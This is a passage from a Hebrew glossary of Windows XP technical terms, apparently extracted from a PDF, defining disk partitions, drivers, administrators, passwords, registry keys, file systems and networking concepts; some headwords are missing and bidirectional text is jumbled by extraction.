ראה גם :אות כונן; אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; דיסק בסיסי; מחיצה מורחבת;
מחיצה ראשית; מחיצת מערכת
מחיצה מורחבת
סוג של מחיצה שבאפשרותך ליצור רק בדיסקים בסיסיים של רשומת אתחול ראשית (.)MBR
מחיצות מורחבות שימושיות כאשר ברצונך ליצור יותר מארבעה אמצעי אחסון על דיסק MBR
בסיסי .שלא כמו מחיצות ראשיות ,אין צורך לאתחל מחיצה מורחבת עם מערכת קבצים ולאחר
מכן להקצות לה אות כונן .במקום זאת ,יש ליצור כונן לוגי אחד או יותר במחיצה המורחבת.
לאחר יצירת כונן לוגי ,יש לאתחל אותו ולהקצות לו אות כונן .דיסק MBRיכול להכיל עד
ארבע מחיצות ראשיות ,או שלוש מחיצות ראשיות ,מחיצה מורחבת אחת וכוננים לוגיים
מרובים.
ראה גם :אות כונן; אמצעי אחסון; דיסק בסיסי; כונן לוגי; מחיצה; מחיצה ראשית; רשומת
אתחול ראשית ()MBR
מחיצה פעילה
מחיצה שממנה מופעל מחשב מבוסס .x86על המחיצה הפעילה להיות מחיצה ראשית בדיסק
בסיסי .אם אתה משתמש במערכת ההפעלה Windowsבלבד ,המחיצה הפעילה יכולה להיות
זהה לאמצעי האחסון של המערכת.
ראה גם ;x86 :אמצעי האחסון של המערכת; דיסק בסיסי; מחיצה ראשית; מחיצת מערכת
מחיצה ראשית
סוג של מחיצה שבאפשרותך ליצור בדיסקים בסיסיים .מחיצה ראשית היא חלק מדיסק פיזי
הפועלת כאילו הייתה דיסק נפרד באופן פיזי .בדיסקים של רשומת אתחול ראשית ()MBR
בסיסיים ,באפשרותך ליצור עד ארבע מחיצות ראשיות בדיסק בסיסי ,או שלוש מחיצות ראשיות
456
ומחיצה מורחבת עם מספר דיסקים לוגיים .בדיסקים בסיסיים של ,GPTבאפשרותך ליצור עד
128מחיצות ראשיות .מחיצות ראשיות ידועות גם כאמצעי אחסון.
ראה גם :אמצעי אחסון; דיסק בסיסי; כונן לוגי; מחיצה; מחיצה מורחבת; רשומת אתחול ראשית
()MBR
מחיצה הדרושה בכל דיסק טבלת מחיצות .)GPT( GUIDלרכיבי המערכת יש אפשרות
להקצות חלקים של מחיצת MSRלמחיצות חדשות לשימושם הפרטי .לדוגמה ,בעת המרת דיסק
GPTבסיסי לדיסק דינאמי ,המערכת מקצה חלק ממחיצת MSRלשימוש כמחיצת מטה-נתונים
של מנהל הדיסק הלוגי ( .)LDMמחיצת MSRמשתנה בגודלה בהתאם לגודל דיסק .GPT
בדיסקים קטנים מ ,16 GB -גודלה של מחיצת MSRהוא .32 MBבדיסקים גדולים מ16 -
,GBגודלה של מחיצת MSRהוא .128 MBמחיצת MSRאינה מוצגת בניהול הדיסק ואין
באפשרותך לאחסן נתונים במחיצת MSRאו למחוק אותה.
מחיצת אתחול
המחיצה המכילה את מערכת ההפעלה Windowsואת קבצי התמיכה שלה .מחיצת האתחול
יכולה להיות זהה למחיצת המערכת ,אך אין זה הכרחי.
מחיצת מערכת
ראה גם ;x86 :מחיצת ;)MSR( Microsoft Reservedממשק קושחה בר-הרחבה ()EFI
מחיצת ספריה
עץ משנה רציף של הספריה המהווה יחידת שכפול .עותק משוכפל נתון הוא תמיד עותק משוכפל
של מחיצת ספריה מסוימת .לספריה תמיד יש לפחות שלוש מחיצות ספריה:
457
•התצורה ,המזהה את בקרי קבוצת המחשבים ,טופולגיית השכפול ומידע קרוב נוסף
אודות בקרי קבוצת המחשבים ביישום ספציפי של .Active Directory
•קבוצת מחשבים אחת או יותר המכילה את נתוני אובייקטי הספריה עצמם.
בקר קבוצת מחשבים תמיד מאחסן את המחיצות של הסכימה ,התצורה וקבוצת המחשבים שלו
עצמו (ולא אף אחת אחרת) .הסכימה והתצורה משוכפלות לכל בקר קבוצת מחשבים בעץ או
ביער קבוצות המחשבים .קבוצת המחשבים משוכפלת רק לבקרי קבוצות מחשבים של אותה
קבוצת המחשבים .קבוצת משנה של התכונות של כל אובייקטי קבוצת המחשבים משוכפלת
לקטלוג הכללי.
ראה גם ;Active Directory :עותק משוכפל; קבוצת מחשבים; שכפול; תכונה
מחיצת רשת
מצב בו לאחד או יותר מהצמתים באשכול אין אפשרות ליצור תקשורת עם צמתי האשכול
האחרים.
מחסנית גופנים
יחידת Plug-inהזמינה עבור מדפסות מסוימות ,המכילה גופנים במספר סגנונות וגדלים .בדומה
לגופנים נטענים ,למדפסות המשתמשות במחסניות גופנים יש אפשרות להפיק תווים בגדלים
וסגנונות שונים מאשר אלה שנוצרו באמצעות הגופנים המוכללים בהן.
מחרוזת המציינת את מזהה המנוי המקבל שהועבר על-ידי מכשיר הפקס המקבל בעת קבלת פקס
נכנס .מחרוזת זו היא בדרך-כלל שילוב של מספר הפקס או הטלפון ושם העסק .היא זהה לעיתים
קרובות למזהה המנוי המשדר.
מחרוזת המציינת את מזהה מנוי המשדר הנשלח על-ידי מכשיר הפקס בעת שליחת פקס למחשב
מקבל .מחרוזת זו מהווה בדרך כלל צירוף של מספר הטלפון או הפקס ושם העסק .היא לעיתים
קרובות זהה למזהה המנוי המקבל.
מחשב מארח
מחשב Windowsשבו פועלים תוכנית או שירות של שרת הנמצאים בשימוש לקוחות רשת או
לקוחות מרוחקים .באיזון עומס ברשת ,אשכול מורכב ממחשבים מארחים רבים המחוברים
ברשת תקשורת מקומית (.)LAN
458
מחשב מרובה חיבורים
מחשב בעל מתאמי רשת מרובים או מחשב שתצורתו נקבעה לכתובות IPמרובות עבור מתאם
רשת יחיד.
מטה-נתונים
נתונים אודות נתונים .לדוגמה ,הכותרת ,הנושא ,המחבר והגודל של קובץ מרכיבים את המטה-
נתונים של הקובץ.
מכלול הצבעים
טווח הצבעים המסוים שלהתקן יש אפשרות להפיק .להתקן כגון סורק ,צג או מדפסת יש
אפשרות להפיק טווח ייחודי של צבעים הנקבע על-ידי מאפייני ההתקן עצמו.
במחשבים עם מעבד ,Intel Itaniumהממשק בין הקושחה ,החומרה ומערכת ההפעלה של
המחשב .ה EFI -מגדיר סגנון מחיצה חדש המכונה טבלת מחיצה מסוג EFI .)GPT( GUID
משמש במחשבים מבוססי Itaniumלאותה מטרה כמו ה BIOS -במחשבים מבוססי .x86עם
זאת ,יש לו יכולות מורחבות המספקות דרך עקבית להפעלת כל מערכת הפעלה תואמת ודרך
קלה להוספת מנהלי התקנים מסוג EFIעבור התקנים חדשים הניתנים לאתחול ללא צורך
בעדכון קושחת המחשב.
תוכנה המקבלת מסמך שנשלח למדפסת ולאחר מכן מאחסנת אותו בדיסק או בזיכרון עד
שהמדפסת מוכנה עבורו .אוסף זה של ספריות קישורים דינאמיים (קבצי )DLLמקבל ,מתזמן
ומפיץ מסמכים להדפסה .המונח spoolerנוצר מראשי התיבות של simultaneous print
.operations on line
מנה
459
מנהל
ב ,Windows XP Professional -אדם האחראי על הגדרה וניהול של בקרי קבוצות מחשבים
או מחשבים מקומיים וחשבונות וקבוצות המשתמשים שלהם ,הקצאת סיסמאות והרשאות ומתן
עזרה למשתמשים בנושאי עבודה ברשת .המנהלים חברים בקבוצה Administratorsויש בידם
שליטה מלאה על קבוצת המחשבים או המחשב.
ב ,Windows XP Home Edition -אדם בעל האפשרות לבצע שינויים במערכת במחשב,
להתקין תוכנות ולגשת אל כל הקבצים במחשב .לאדם בעל חשבון מנהל במחשב יש גישה מלאה
לחשבונות משתמשים אחרים במחשב.
מנהל אבטחה
בעל חשבון שמוקצה לו אוטומטית מזהה אבטחה עבור גישה למשאבים .מנהל אבטחה עשוי
להיות משתמש ,קבוצה ,שירות או מחשב.
מנהל ההתקנים
כלי מנהלי המאפשר ניהול ההתקנים במחשב .באמצעות מנהל ההתקנים ,באפשרותך להציג
ולשנות מאפייני התקנים ,לעדכן מנהלי התקנים ,לקבוע תצורה עבור הגדרות של התקנים
ולהסיר התקנים.
מנהל המשימות
כלי שירות המספק מידע אודות תוכניות ותהליכים הפועלים במחשב .באמצעות מנהל המשימות,
באפשרותך לסיים או להפעיל תוכניות ,לסיים תהליכים ולהציג סקירה כוללת דינאמית של
ביצועי המחשב.
מנהל התקן
תוכנית המאפשרת להתקן ספציפי ,כגון מודם ,מתאם רשת או מדפסת ,לקיים תקשורת עם
מערכת ההפעלה .למרות שהתקן עשוי להיות מותקן במחשב שלך ,ל Windows -אין אפשרות
להשתמש בו כל עוד לא התקנת והגדרת את מנהל ההתקן המתאים.
אם התקן כלול ברשימת תאימות החומרה ( ,)HCLמנהל ההתקן בדרך כלל כלול ב-
.Windowsמנהלי התקנים נטענים באופן אוטומטי (עבור כל ההתקנים הזמינים) בעת הפעלת
המחשב ,ולאחר מכן פועלים באופן שאינו גלוי לעין המשתמש.
מנהל התקן הפועל ישירות עם כרטיס הרשת ומשמש כגורם ביניים בין הכרטיס ומנהל
הפרוטוקול .עם מיזוג הרשת של ,AppleTalkמחסנית AppleTalk Protocolבשרת מיושמת
כמנהל פרוטוקול ומאוגדת למנהל כרטיס רשת אחד או יותר.
460
מנהל מדפסת
תוכנית המיועדת לאפשר לתוכניות אחרות לפעול עם מדפסת מסוימת מבלי להתעכב על פרטי
החומרה והשפה הפנימית של המדפסת .באמצעות מנהלי מדפסת המטפלים בדקויות של כל
מדפסת ומדפסת ,יש לתוכניות אפשרות לקיים תקשורת כהלכה עם מגוון מדפסות.
מנהל מחשב
משתמש המנהל מחשב .מנהל המחשב מבצע שינויים במערכת המחשב ,כולל התקנת תוכניות
וגישה לכל הקבצים במחשב ,ובאפשרותו ליצור ,לשנות ולמחוק חשבונות של משתמשים
אחרים.
מנהל רשת
אדם האחראי לתכנון ,קביעת התצורה והניהול של התפעול היומיומי של הרשת .מנהל רשת
מכונה גם מנהל מערכת.
מסוף השחזור
ממשק שורת פקודה המספק ערכה מוגבלת של פקודות ניהול השימושיות לתיקון מחשב.
ערך של 32סיביות המאפשר לנמען של מנות IPלייחד את חלקי מזהה הרשת ומזהה המחשב
המארח של כתובת ה .IP -על פי רוב ,במסיכות רשת משנה נעשה שימוש בתבנית .255.x.x.x
מסמך יעד
המסמך שנעשית לו הוספה של חבילה או אובייקט מקושר או מוטבע .עבור אובייקט מוטבע,
מסמך היעד מכונה לעיתים גם המסמך המכיל.
מסמך מקור
מספר הקסדצימאלי בגודל 4בתים המשמש למטרות הוספת כתובות וניתוב .מספר הרשת
הפנימי מזהה רשת וירטואלית בתוך מחשב .על מספר הרשת הפנימי להיות ייחודי לרשת .IPX
מספר רשת פנימי מכונה גם מספר רשת וירטואלית.
461
מעבד הדפסה
הרכיב הפועל יחד עם מנהל המדפסת ומקבל ומשנה משימות הדפסה ,בעת הצורך ,בהתאם לסוג
הנתונים שלהן כדי להבטיח שהמשימות יודפסו כהלכה.
מערכת מספרים
מערכת כלשהי לייצוג מספרים .ארבע מערכות המספרים הזמינות הינן העשרונית,
ההקסדצימאלית ,האוקטלית והבינארית.
מערכת קבצים
במערכת הפעלה ,המבנה הכולל שבו קבצים מקבלים שמות ,מאוחסנים ומאורגנים,NTFS .
FATו FAT32 -הם סוגים של מערכות קבצים.
מערכת קבצים מתקדמת המספקת ביצועים ,אבטחה ,מהימנות ותכונות מתקדמות שאינן קיימות
באף גירסה של .FATלדוגמה NTFS ,מבטיח עקביות של אמצעי אחסון באמצעות טכניקות
תקניות של רישום ושחזור טרנזקציות .אם יש כשל במערכת NTFS ,עושה שימוש בקובץ יומן
הרישום ובמידע נקודות הביקורת שלו כדי לשחזר את עקביות מערכת הקבצים .בWindows -
2000ו NTFS ,Windows XP -מספק גם תכונות מתקדמות כגון הרשאות של קבצים
ותיקיות ,הצפנה ,מיכסות דיסק ודחיסה.
במחשבים מבוססי ,x86ערכת רוטינות התוכנה הבסיסיות הבודקות את החומרה בשעת אתחול
המחשב ,מפעילות את מערכת ההפעלה ותומכות בהעברת נתונים בין התקני חומרה .הBIOS -
מאוחסן בזיכרון קריאה בלבד ( )ROMכדי שניתן יהיה להפעיל אותו בעת הפעלת המחשב.
למרות היותו חשוב ביותר לביצועי המחשב ,ה BIOS -בדרך כלל אינו גלוי לעינם של
המשתמשים במחשב.
462
מפתח
בעורך הרישום ,תיקיה המופיעה בחלונית השמאלית של חלון עורך הרישום .מפתח עשוי להכיל
מפתחות משנה וערכים .לדוגמה Environment ,הוא מפתח של
.HKEY_CURRENT_USER
מפתח משנה
מפתח בתוך מפתח .במבנה הרישום ,מפתחות משנה כפופים לעצי משנה ולמפתחות .מפתחות
ומפתחות משנה דומים לכותרת מקטע בקבצי ;.iniעם זאת ,למפתחות משנה יש אפשרות לבצע
פונקציות.
מפתח פרטי
החצי הסודי בזוג המפתחות הקריפטוגרפי בו נעשה שימוש עם אלגוריתם מפתח ציבורי .מפתחות
פרטיים משמשים בדרך כלל לפענוח מפתח הפעלה סימטרי ,לחתימה דיגיטלית על נתונים או
לפענוח נתונים שהוצפנו עם המפתח הציבורי המקביל.
מצב Hubbed
מצב שבו ה ARP/MARS -מספק כתובות ATMללקוחות המבקשים בצורת ערך ברשימת
שרת שידור לקבוצה ( .)MCSבמצב זה ,ה ARP/MARS -מתפקד כשרת שידור לקבוצה
ומספק העברה פעילה של כל תעבורת השידור והשידור לקבוצה המיועד לכתובות IPהכלולות
בטווחים שצוינו ברשימה.
מצב תאימות
תכונה של מחשב או מערכת הפעלה המאפשרת להם להפעיל תוכניות שנכתבו עבור מערכת
אחרת .תוכניות לרוב פועלות בצורה איטית יותר במצב תאימות.
מצב תווים
מצב תצוגה שבו הצג מציג אותיות ,מספרים ותווי טקסט אחרים אך לא תמונות גרפיות או עיצוב
תווים (נטוי ,כתב עילי וכן הלאה).
מקוון
מצב המסמן רכיב באשכול כזמין .כאשר צומת הוא מקוון ,הוא חבר פעיל באשכול ובאפשרותו
להחזיק ולהפעיל קבוצות כמו גם לקיים עדכוני מסדי נתונים של אשכולות ,לתרום קולות
לאלגוריתם Quorumולשמור על פעימות .גם במשאבים ובקבוצות יש מצב מקוון.
463
ראה גם :לא מקוון; משאב; קבוצה
מקלט-משדר
התקן שגם מקבל אותות וגם משדר אותם .ברשתות תקשורת מקומיות ( ,)LANמקלט-משדר
הוא ההתקן המחבר מחשב לרשת וממיר אותות לתבנית טורית ומקבילית ומהן.
מקשי סינון
תכונה של לוח המקשים המנחה את לוח המקשים להתעלם מהקשות חטופות או חוזרות .כמו כן,
באפשרותך להתאים את קצב החזרה של לוח המקשים ,כלומר הקצב שבו מקש חוזר בעת
החזקתו לחוץ.
מקשי עכבר
תכונת לוח מקשים המאפשרת לך להשתמש במקלדת הנומרית להזזת מצביע העכבר וללחיצה,
לחיצה כפולה וגרירה.
מקשים דביקים
תכונת לוח מקשים המאפשרת לך להקיש על מקש צירוף ( ALT ,CTRLאו ,)SHIFTאו על
מקש סמל ,Windowsולהשאירו פעיל עד להקשה על מקש שאינו מקש צירוף .תכונה זו
שימושית עבור אנשים המתקשים להקיש על שני מקשים בו-זמנית.
מקשים דו-מצביים
תכונה המגדירה את לוח המקשים להשמעת צפצוף כאשר אחד ממקשי הנעילה (CAPS
NUM LOCK ,LOCKאו )SCROLL LOCKמופעל או מבוטל.
ראה גם :מקשי סינון; מקשי עכבר; מקשים דביקים; מקשים דו-מצביים
משאב
באופן כללי ,כל חלק במערכת מחשב או ברשת ,כגון כונן דיסקים ,מדפסת או זיכרון ,שניתן
להקצותו לתוכנית פועלת או לתהליך.
עבור מנהל ההתקנים ,אחד מארבעה רכיבי מערכת הקובעים את אופן התפקוד של התקנים
במחשב .ארבעת משאבי המערכת האלה הם קווי בקשת פסיקה ( ,)IRQערוצי גישה ישירה
לזיכרון ( ,)DMAיציאות קלט/פלט ( )I/Oוכתובות זיכרון.
עבור אשכולות שרת ,ישות פיזית או לוגית שניתן לנהלה באמצעות אשכול ,להעבירה למצב
מקוון ולא מקוון ולהעבירה בין צמתים .משאב יכול להימצא בבעלות צומת אחד בלבד בכל
נקודת זמן נתונה.
464
ראה גם :יציאת קלט/פלט ( ;)I/Oכתובת זיכרון; לא מקוון; מקוון; משאב
שם ההתקן הנמצא ברשת ונתמך כמשאב אשכול באמצעות Resource DLLהמסופק עם
.Windows
תורי מדפסת המספקים גישה למדפסת רשת המחוברת לרשת באמצעות כתובת IPולא באמצעות
שם אינדיווידואלי .מנגנוני הדפסה ברקע נתמכים כמשאבי אשכול על-ידי .Resource DLL
ראה גם ;Resource DLL :כתובת ;IPמנגנון הדפסה ברקע ()print spooler
משאב משותף
כל התקן ,תוכנית או נתונים בהם נעשה שימוש ביותר מהתקן אחד או תוכנית אחת .עבור
,Windowsמשאבים משותפים מתייחסים לכל משאב שהפך זמין למשתמשי רשת ,כגון
תיקיות ,קבצים ,מדפסות ורכיבי .named pipeמשאב משותף עשוי להתייחס גם למשאב בשרת
הזמין למשתמשי רשת.
משימת הדפסה
קוד המקור המכיל הן את הנתונים שיודפסו והן את הפקודות להדפסה .משימות הדפסה ממוינות
לסוגי נתונים לפי השינויים שעל מנגנון ההדפסה ברקע לבצע במידת הצורך במשימה לשם
הדפסה נכונה.
ראה גם :חלון המדפסת; מאגר הדפסה; מנגנון הדפסה ברקע ()print spooler
משתמש
אדם המשתמש במחשב .אם המחשב מחובר לרשת ,משתמש יכול לקבל גישה לתוכניות
ולקבצים במחשב ,כמו גם לתוכניות ולקבצים הממוקמים ברשת (בהתאם להגבלות החשבון
שנקבעו על-ידי מנהל הרשת).
הפרופיל המשמש כבסיס לכל פרופילי המשתמשים .כל פרופיל משתמש מתחיל כעותק של
פרופיל המשתמש המהווה ברירת מחדל.
משתמשים
קבוצה מיוחדת המכילה את כל המשתמשים בעלי הרשאות המשתמש בשרת .כאשר משתמש
Macintoshמקצה הרשאות לכולם ,הרשאות אלה ניתנות למשתמשים ולאורחים של הקבוצה.
465
ראה גם :הרשאה; קבוצה
כלי ניהול שנועד לביצוע מטלות ניהול יומיומיות של .Active Directoryמשימות אלה כוללות
יצירה ,מחיקה ,שינוי ,העברה והגדרה של הרשאות באובייקטים המאוחסנים בספריה.
אובייקטים אלה כוללים יחידות ארגוניות ,משתמשים ,אנשי קשר ,מחשבים ,מדפסות ואובייקטי
קבצים משותפים.
מתאם וידאו
כרטיס הרחבה המוכנס למחשב אישי כדי להעניק לו יכולות תצוגה .יכולות התצוגה של מחשב
תלויות הן בתוכנית המעגל החשמלי הלוגית (המסופקת במתאם הווידאו) והן בצג .כל מתאם
מציע מספר מצבי וידאו שונים .שתי הקטגוריות הבסיסיות של מצבי וידאו הן טקסט וגרפיקה.
במצבי הטקסט והגרפיקה ,צגים מסוימים מציעים גם בחירת רזולוציות .ברזולוציות נמוכות
יותר ,לצג יש אפשרות להציג צבעים רבים יותר.
מתאמים מודרניים מכילים זיכרון ,כך שלא נעשה שימוש ב RAM -של המחשב לאחסון
תצוגות .נוסף על כך ,למרבית המעבדים יש מעבדי עזר של גרפיקה משלהם לביצוע חישובים
גרפיים .נהוג לכנות מתאמים אלה מאיצים גרפיים.
מתאם רשת
התקן המחבר את המחשב שלך לרשת .התקן זה מכונה לעיתים כרטיס מתאם או כרטיס ממשק
רשת.
מתאם תצוגה
ראה הגדרה עבור :מתאם וידאו
מתן הרשאות
נ
ניהול תורי הודעות
ניקוי
ביטול אפשרות על-ידי הסרת הסימון Xאו סימן הביקורת מתיבת סימון .באפשרותך לנקות
תיבת סימון על-ידי לחיצה עליה או בחירה בה ולאחר מכן הקשה על מקש רווח.
466
ניתוב
תהליך ההעברה של מנה דרך רשת המקיפה מספר רשתות ממחשב מארח המשמש כמקור
למחשב מארח המשמש כיעד.
נקודות ביקורת
ראה הגדרה עבור :נקודת שחזור
נקודת כניסה
המקום שבו טקסט יוזן בעת ההקלדה .נקודת הכניסה מופיעה בדרך כלל כפס אנכי מהבהב בחלון
של יישום או בתיבת דו-שיח.
נקודת שחזור
ייצוג של מצב מאוחסן של המחשב שלך .נקודת שחזור נוצרת באמצעות שחזור המערכת
במרווחי זמן ספציפיים וכאשר שחזור המערכת מזהה את תחילתו של שינוי במחשב .בנוסף,
באפשרותך ליצור נקודת שחזור באופן ידני בכל עת.
נתב
בסביבת ,Macintoshנתבים נחוצים עבור מחשבים ברשתות פיזיות שונות לשם קיום תקשורת
זה עם זה .נתבים מתחזקים מפה של הרשתות הפיזיות באינטרנט (רשת) של Macintosh
ומעבירים נתונים שהתקבלו מרשת פיזית אחת לרשתות פיזיות אחרות .מחשבים בהם פועלת
גירסת ה Server -של Windowsעם שילוב רשת של AppleTalkיכולים לפעול כנתבים,
ובאפשרותך גם להשתמש בחומרת ניתוב אחרת ברשת עם שילוב רשת של .AppleTalk
ראה גם :ניתוב; רשת תקשורת מקומית ( ;)LANרשת תקשורת מרחבית ()WAN
נתיב Scriptלכניסה
רצף של שמות ספריות המציין את מיקום ה Script -לכניסה .כאשר משתמש מבצע כניסה
למערכת ,המחשב המאמת מאתר את ה Script -לכניסה שצוין (אם קובץ כזה הוקצה עבור אותו
חשבון משתמש) על-ידי מעקב אחר הנתיב המקומי של ה Script -לכניסה שלו (בדרך כלל
.)systemroot\System32\Repl\Import\Scripts
467
ס
סביבת הפעלה
במערכות עם אתחול כפול או אתחול מרובה ,הגדרות התצורה המציינות איזו מערכת יש להפעיל
וכיצד יש להפעיל כל אחת מהמערכות.
סוג בורר
סוג הממשק אליו מוצמד התקן ה ISDN -שלך .סוג בורר קרוי גם בורר.
סוג חומרה
סיווג להתקנים דומים .לדוגמה ,התקן הדמיה הוא סוג חומרה של מצלמות דיגיטליות וסורקים.
סוג קובץ
סוגי קובץ המסומנים ברישום המערכת ומזוהים על-ידי התוכניות שהתקנת במחשב שלך.
סוגי משאבים
מחלקות של משאבים ,כגון מנגנון הדפסה ברקע ,דיסק פיזי ושיתוף קובץ ,המאורגנות לפי
אשכול השרת Whistler Advanced Server .ו Whistler Datacenter Server -מספקים
קבצי Resource DLLעבור סוגי המשאבים הנפוצים ביותר .באמצעות ממשק תיכנות
היישומים ( )APIהכלול ב,)SDK( Microsoft Platform Software Development Kit -
ספקים אחרים יכולים להוסיף תמיכה עבור סוגי משאבים אחרים.
468
סוכן שחזור
אדם שמונפק עבורו אישור מפתח ציבורי לשם שחזור נתוני משתמש המוצפנים באמצעות
מערכת הצפנת קבצים (.)EFS
מספר הסיביות המשודרות בכל שניה ,המשמשות כמדד למהירות שבה התקן ,כגון מודם ,יכול
להעביר נתונים.
יחידת המידע הקטנה ביותר המטופלת על-ידי מחשב .סיבית אחת מבטאת סיפרה בינארית
שערכה 1או ,0או תנאי לוגי שערכו אמת או שקר .קבוצה של 8סיביות נקראת בית ,וזה בתורו
יכול לייצג סוגי מידע רבים ,כגון אות באלף-בית ,סיפרה עשרונית או תו אחר .סיבית מכונה גם
סיפרה בינארית.
סיומת ה( UPN -שם משתמש עיקרי) היא החלק בשם המשתמש העיקרי הנמצא מימין לתו @.
סיומת ה UPN -המשמשת כברירת מחדל עבור חשבון משתמש היא שם קבוצת המחשבים של
DNSשל קבוצת המחשבים המכילה את חשבון המשתמש .ניתן להוסיף סיומות UPNחלופיות
לשם הפיכת הניהול ותהליכי כניסת המשתמש לפשוטים יותר על-ידי מתן סיומת UPNיחידה
עבור כל המשתמשים .סיומת ה UPN -משמשת רק בתוך היער של Active Directoryואין
צורך שתהיה שם קבוצת מחשבים חוקי של .DNS
ראה גם ;)DNS( Domain Name System ;Active Directory :חשבון משתמש; קבוצת
מחשבים; שם משתמש עיקרי; שם קבוצת מחשבים
סיומת שם קובץ
סיומות של שמות קבצים באות אחרי הנקודה בשם קובץ ומציינות את סוג המידע המאוחסן
בקובץ .לדוגמה ,בשם הקובץ ,Example.txtסיומת שם הקובץ היא ,.txtוהיא מציינת שהקובץ
הוא קובץ טקסט.
סינכרון
השגת פשרה בהבדלים בין קבצים המאוחסנים במחשב אחד לבין גירסאות של אותם קבצים
במחשב אחר .לאחר קביעת ההבדלים ,שתי הקבוצות של הקבצים מעודכנות.
469
סיסמה
אמצעי אבטחה המשמש להגבלת שמות כניסה לחשבונות משתמשים וגישה למערכות מחשבים
ומשאבים .סיסמה היא מחרוזת תווים שיש להזינה לקבלת הרשאה עבור שם כניסה או גישה.
סיסמה יכולה להכיל אותיות ,ספרות וסמלים ,והיא תלויית רישיות.
סיסמת Windows
סיסמת משתמש
הסיסמה המאוחסנת בחשבון של כל משתמש .לכל אחד מהמשתמשים יש בדרך כלל סיסמת
משתמש ייחודית שעליו להקלידה בעת כניסה או קבלת גישה לשרת.
סיסמת רשת
סיסמה המשמשת לכניסה לרשת .באפשרותך לבחור בסיסמת רשת הזהה לסיסמת Windows
שלך ,כך שיהיה עליך לזכור סיסמה אחת בלבד.
סל המיחזור
המקום שבו Windowsמאחסן קבצים שנמחקו .באפשרותך לאחזר קבצים שמחקת בטעות או
לרוקן את סל המיחזור ליצירת שטח דיסק פנוי רב יותר.
סמל
תמונה קטנה המוצגת על המסך לשם ייצוג אובייקט הניתן להפעלה על-ידי המשתמש .סמלים
משמשים כמסייעי זיכרון ויזואליים ומאפשרים למשתמש לשלוט בפעולות מחשב מסוימות מבלי
שיהיה עליו לזכור פקודות או להקליד אותן באמצעות לוח המקשים.
סמל MS-DOS
הסמל בקצה השמאלי של פס הכותרת .לחיצה על סמל זה מציגה את תפריט מערכת עבור חלון
.MS-DOS
470
ספק שירותי אינטרנט )(ISP
חברה המספקת לאנשים פרטיים או לחברות גישה לאינטרנט ול .World Wide Web -ספק
שירותי אינטרנט מספק מספר טלפון ,שם משתמש ,סיסמה ומידע התחברות נוסף כדי
שלמשתמשים תהיה אפשרות לחבר את המחשבים שלהם למחשבי הספק .ספק שירותי אינטרנט
מחייב בדרך כלל את הלקוח עבור השימוש בחיבור בתשלום חודשי או לפי שעה .
ספריה
מערכת אחסון נתונים המנוהלת בדרך כלל על-ידי אחסון נשלף .ספריה מורכבת מאמצעי אחסון
נשלפים (כגון קלטות או דיסקים) והתקן חומרה בעל אפשרות לקרוא את אמצעי האחסון או
לכתוב עליו .קיימים שני סוגים עיקריים של ספריות :ספריות רובוטיות (התקנים אוטומטיים
מרובי כוננים ואמצעי אחסון) וספריות כונן עצמאיות (התקנים בעלי כונן יחיד המופעלים באופן
ידני) .ספריה רובוטית מכונה גם פטיפון אוטומטי או .Changer
תכונה של מערכת ההפעלה המאפשרת אחסון נפרד של רוטינות ניתנות להפעלה (שבדרך כלל
משרתות פעולה ספציפית או קבוצת פעולות) כקבצים בעלי סיומת .dllרוטינות אלו נטענות רק
כאשר התוכנית הקוראת להן זקוקה להן.
סרגל כלים
בתוכנית בממשק משתמש גרפי ,שורה ,עמודה או בלוק של לחצנים או סמלים על המסך.
בעקבות לחיצה ,לחצנים או סמלים אלה מפעילים פונקציות מסוימות ,או משימות ,של התוכנית.
לדוגמה ,סרגל הכלים ב MIcrosoft Word -כולל בין השאר לחצנים לשינוי טקסט לנטוי או
מודגש ,ולשמירה או לפתיחה של מסמך .משתמשים יכולים לעיתים קרובות להתאים אישית
סרגלי כלים ולהזיז אותם לאורך ולרוחב המסך.
ע
עגינה
עגינה חמה
תהליך חיבור מחשב נישא לתחנת עגינה בשעה שהמחשב פועל ,והפעלה אוטומטית של צג
הווידאו ופעולות אחרות של תחנת העגינה.
471
עדיפות מחשב מארח
באיזון עומס ברשת ,הקדימות של מחשב מארח לטיפול בתעבורת רשת המהווה ברירת מחדל
של יציאות TCPו .UDP -נעשה בה שימוש כאשר מחשב מארח בתוך האשכול עובר למצב לא
מקוון ,והיא קובעת איזה מחשב מארח באשכול יקבל את האחריות על התעבורה שטופלה קודם
לכן על-ידי המחשב המארח שכעת נמצא במצב לא מקוון.
עומק צבע
עותק משוכפל
עץ מסוף
ב ,DNS -מבנה העץ ההירארכי ההפוך המשמש ליצירת אינדקס של שמות קבוצות מחשבים.
עצי קבוצות מחשבים דומים במטרה ובתפיסה לעצי ההירארכיה שבהם עושות שימוש מערכות
קבצי מחשבים עבור אחסון דיסקים.
לדוגמה ,כאשר קבצים רבים מאוחסנים בדיסק ,ניתן להשתמש בספריות לשם ארגון הקבצים
באוספים לוגיים .כאשר לעץ קבוצות מחשבים יש ענף אחד או יותר ,לכל ענף יש אפשרות לסדר
שמות קבוצות מחשבים בטווח השמות באוספים לוגיים.
ב ,Active Directory -מבנה הירארכי של קבוצת מחשבים אחת או יותר המחוברות באמצעות
יחסי אמון טרנזיטיביים דו-כיווניים ,המהווה טווח שמות רציף .יער אחד יכול להכיל עצי קבוצות
מחשבים מרובים.
ראה גם ;)DNS( Domain Name System ;Active Directory :טווח שמות; קבוצת
מחשבים; שם קבוצת מחשבים
ערוץ
נתיב או קישור שבאמצעותו מידע לא מבוקר עובר בין שני התקנים .לחיבור Basic Rate
,)BRI( Interfaceלדוגמה ,יש חיבור פיזי אחד אך שני ערוצים להחלפת מידע בין התקנים.
תופעה זו נקראת בדרך כלל ערוץ העברה ,כלומר ערוץ המעביר מידע.
472
באינטרנט ,אתר המיועד להעברת תוכן מהאינטרנט למחשב שלך ,בדומה ליצירת מנוי לאתר
אינטרנט מועדף.
קבוצת אפשרויות של ניהול צריכת חשמל שהוגדרו מראש .לדוגמה ,באפשרותך להגדיר זמני
יעד להצבת המחשב בהמתנה ולכיבוי הצג והדיסק הקשיח .הגדרות אלה נשמרות כערכת צריכת
חשמל נקובה.
פ
פיצול
פיזור חלקים של אותו קובץ דיסק באזורים שונים בדיסק .הפיצול מתרחש בעקבות מחיקת
קבצים הקיימים בדיסק והוספת קבצים חדשים .הוא מאט את הגישה לדיסק ופוגם בביצועים של
פעולות המחשב בכללותם ,אך במרבית המקרים לא בצורה חמורה.
פיקסל
קיצור של רכיב תמונה ( ,)picture elementנקודה אחת ברשת קווים ישרים של אלפי נקודות
